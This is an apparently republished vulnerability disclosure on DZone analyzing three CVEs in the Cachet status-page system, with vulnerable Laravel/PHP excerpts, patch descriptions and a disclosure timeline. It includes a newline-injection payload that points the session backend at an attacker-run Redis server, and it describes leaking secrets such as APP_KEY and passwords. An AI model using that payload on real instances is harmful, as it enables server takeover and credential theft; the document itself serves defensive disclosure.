DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Please enter at least three characters to search
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Zones

Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

Because the DevOps movement has redefined engineering responsibilities, SREs now have to become stewards of observability strategy.

Apache Cassandra combines the benefits of major NoSQL databases to support data management needs not covered by traditional RDBMS vendors.

The software you build is only as secure as the code that powers it. Learn how malicious code creeps into your software supply chain.

Generative AI has transformed nearly every industry. How can you leverage GenAI to improve your productivity and efficiency?

Related

  • Laravel for Beginners: An Overview of the PHP Framework
  • A Step-By-Step Guide: How To Install a Laravel Script
  • Power of PHP Frameworks: Boosting Web Development With PHP Frameworks
  • Maximizing Laravel's Potential: A Guide to Driver-Based Services

Trending

  • Apple and Anthropic Partner on AI-Powered Vibe-Coding Tool – Public Release TBD
  • Code Reviews: Building an AI-Powered GitHub Integration
  • Efficient API Communication With Spring WebClient
  • How To Introduce a New API Quickly Using Quarkus and ChatGPT
  1. DZone
  2. Software Design and Architecture
  3. Security
  4. Cachet 2.4: Code Execution via Laravel Configuration Injection

Cachet 2.4: Code Execution via Laravel Configuration Injection

The Sonar R and D team analyzes vulnerabilities in Cachet and demonstrates the takeover instances with basic user permissions using Laravel config files.

By 
Thomas Chauchefoin user avatar
Thomas Chauchefoin
·
Mar. 22, 23 · Tutorial
Likes (2)
Comment
Save
Tweet
Share
2.0K Views

Join the DZone community and get the full member experience.

Join For Free

Status pages are now an essential service offered by all Software-as-a-Service companies. To help their adoption, startups quickly conceived status pages as-a-service and open-source self-hosted alternatives were made available. Cachet, also sometimes referred to as CachetHQ, is a broadly adopted status page system written in PHP and has many community forks, such as fiveai/Cachet. 

Compromising Cachet instances is rewarding for attackers, as they store secrets for various services such as caches, databases, email servers, etc. This initial foothold in the infrastructure is helpful for them to pivot into the internal network of the affected company and to perform further attacks. In this article, I present the technical analysis of three security bugs my team, and I discovered in Cachet 2.4. They can enable attackers to compromise the server. 

Impact

The exploitation of these vulnerabilities was verified on the last official release of Cachet at the time (2.3.18), as well as on the development branch (2.4). An attacker aspiring to exploit these vulnerabilities requires a valid user account with basic privileges, a scenario that can realistically be leveraged by:

  • Using credentials stuffing thanks to the considerable amount of accounts leaked every year. 
  • A compromised or malicious user. 
  • The presence of a cross-site scripting vulnerability on the same perimeter. 
  • The exploitation of CVE-2021-39165, a pre-authenticated SQL injection in Cachet fixed in January 2021.

Vulnerability 1: CVE-2021-39172

The first vulnerability (CVE-2021-39172) I describe is a newline injection that happens when users update an instance’s configuration, such as the email settings. It allows attackers to inject new directives and alter the behavior of core features, leading to the execution of arbitrary code.

The following video shows the exploitation of this vulnerability. For demonstration purposes, several steps are performed manually, but they could be automated by attackers:

Source: Sonar YouTube

Vulnerability 2: CVE-2021-39174

The second one (CVE-2021-39174) is also related to this feature and allows the attacker to exfiltrate secrets that are stored in the configuration file, e.g., the SMTP server password, the application encryption key, etc.

Vulnerability 3: CVE-2021-39173

Finally, the last bug (CVE-2021-39173) is much simpler and allows going through the setup process even if the instance is already fully configured. That way, attackers can trick the Cachet instance into using an arbitrary database under their control, ultimately leading to arbitrary code execution. 

Patches for these three vulnerabilities are available in release 2.5.1 of the FiveAI fork.

Technical Details

In this section, I describe the technical details of each vulnerability and the way they were mitigated in the latest release of the community fork.

CVE-2021-39172: Remote Code Execution

The dashboard of Cachet exposes several configuration views (even to non-administrator users) to change the instance name, mail server settings, etc. Application-level persistent settings are saved in the database, and other framework-level values are directly saved in the application’s configuration file. The Laravel framework uses dotenv configuration files, a format similar to how you would declare environment variables in a shell script. Their support is implemented in the third-party library here.

When changing the email provider settings, the controller instantiates an object of the class UpdateConfigCommand. Laravel commands, in the context of the command bus, are a way to remove application-specific logic from controllers; they will be synchronously executed upon a execute() call on the object. This is what happens at [1]:  

app/Http/Controllers/Dashboard/SettingsController.php:

PHP
 
<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}


The associated handler UpdateConfigCommandHandleris responsible for performing changes in the existing dotenv file by replacing existing entries with new ones.

UpdateConfigCommandHandler can be triggered by code at two different locations:

  1. SetupController@postStep3: the last step of the setup process. Once the instance is installed, this code path can’t be reached anymore;
  2. SettingsController@postMail: when updating the dotenv entries related to email servers.

It will first evaluate the full configuration file to populate the process environment ([1]), identify if the directive to update is already defined ([2]), and replace the entry with its new value ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP
 
<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}


No validation is performed on the incoming data: as long as the configuration entry already exists, it will be replaced with a value coming from the parameter. If an attacker provides a value containing new lines, it will create new entries in the dotenv file and may alter framework-level functionalities.

Note: only the first definition of a variable in a dotenv file will be used; subsequent ones will be ignored. 

On Laravel projects, this primitive is enough to gain arbitrary code execution. The initial dotenv configuration file will probably look like this in most instances:

.env:

Shell
 
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null


Attackers could replace the CACHE_DRIVER key and register a Redis server under their control as a new session backend:

Shell
 
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis


After sending a request that sets CACHE_DRIVER to this value, the dotenv file will look like this:

.env:

Shell
 
APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]


Because Laravel sessions are serialized using PHP’s native format, they are parsed with the function unserialize(). This is a known weakness that can be leveraged into the execution of arbitrary code by using a sequence of specially-crafted objects, a concept named “pop chains.” The tool PHPGGC can generate such chains for Laravel projects. 

Other ways to leverage command execution from a new line injection in a dotenv file may exist, but we did not pursue more research in this direction. My team and I are curious to know if you’re aware of other techniques, though!

CVE-2021-39174: Configuration Leak

As I described in the previous section, one can have direct read and write control over values stored in the dotenv file. Writing to this file ultimately leads to arbitrary code execution, but can it also be taken advantage of by the fact that the values of this file are displayed in the interface?

The documentation of vlucas/phpdotenv describes that it supports nested variables assignment: when declaring a variable, you can reference a previously declared one with the syntax ${NAME}.

This feature is convenient: by referencing another variable in an entry of the dotenv configuration file and displaying this entry in the interface, it reveals another’s variable value. 

It is already widely documented that leaking APP_KEY leads to code execution if the session driver is set to cookie, and this primitive can also be used to leak DB_PASSWORD and MAIL_PASSWORD to perform further attacks.

Further Attacks

CVE-2021-39173: Forced Reinstall

The setup page cannot be accessed if the instance is already installed, as implemented in the middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP
 
<?php
class SetupAlreadyCompleted
{   
   // [...]   
   public function handle(Request $request, Closure $next)   
   {      
         try {          
             if ($this->settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // not setup then!      
         }        
         
         return $next($request);   
  } 
}


The check is solely based on the value of the setting: if not defined or empty, the middleware will consider that the instance is installed. 

In case you’re wondering what else can evaluate as false, here is a quick primer on PHP’s typing system during comparisons until PHP 8. Comparison can be performed using an equality check (==) or an identity check (===). Equality checks imply the type of the operands is not accounted for, and strings can be cast to numbers beforehand. This behavior has been named “type juggling” and has been exploited in various real-life vulnerabilities (CVE-2017-1001000, CVE-2019-10231). In the case of the comparison above, any value equal to an empty string or “0” will evaluate  false and give access to the setup pages.

The value of the  app_name is not validated during the settings’ update in SettingsController@postSettings, at [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP
 
<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]


Therefore, an authenticated user can update it to a value evaluating to false and then access/setup again to re-install the instance with a new administrator account (elevation of privileges) or exploit our first finding and gain code execution (remember, UpdateConfigCommandHandler can also be exploited from this code path).

Patch

The new line injection vulnerability (CVE-2021-39172) was addressed by improving the validation of incoming values in UpdateConfigCommandHandler, rejecting any modification containing newline characters. 

The configuration leak bug (CVE-2021-39174) was more complex to patch, as the latest version of the dotenv library could not be imported due to the existing dependencies. Instead, relevant code was ported to allow the command handler to identify if a value contains a nested variable. 

Finally, it is not possible to force a re-installation of existing instances (CVE-2021-39173) thanks to improved checks in the impacted middleware.

Timeline

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

Summary

In this article, I analyzed three vulnerabilities in Cachet and demonstrated the ability to take over instances with only basic user permissions using Laravel configuration files. I also described the patches applied by the maintainers and how they prevent the attacks I presented. 

Finally, my team and I would like to thank the maintainers of the FiveAI fork of Cachet for acknowledging our advisory and fixing these vulnerabilities in a timely and professional manner.

Laravel PHP Vulnerability Execution (computing) Injection

Published at DZone with permission of Thomas Chauchefoin. See the original article here.

Opinions expressed by DZone contributors are their own.

Related

  • Laravel for Beginners: An Overview of the PHP Framework
  • A Step-By-Step Guide: How To Install a Laravel Script
  • Power of PHP Frameworks: Boosting Web Development With PHP Frameworks
  • Maximizing Laravel's Potential: A Guide to Driver-Based Services

Partner Resources

×

Comments
Oops! Something Went Wrong

The likes didn't load as expected. Please refresh the page and try again.

ABOUT US

  • About DZone
  • Support and feedback
  • Community research
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 100
  • Nashville, TN 37211
  • support@dzone.com

Let's be friends:

Likes
There are no likes...yet! 👀
Be the first to like this post!
It looks like you're not logged in.
Sign in to see who liked this post!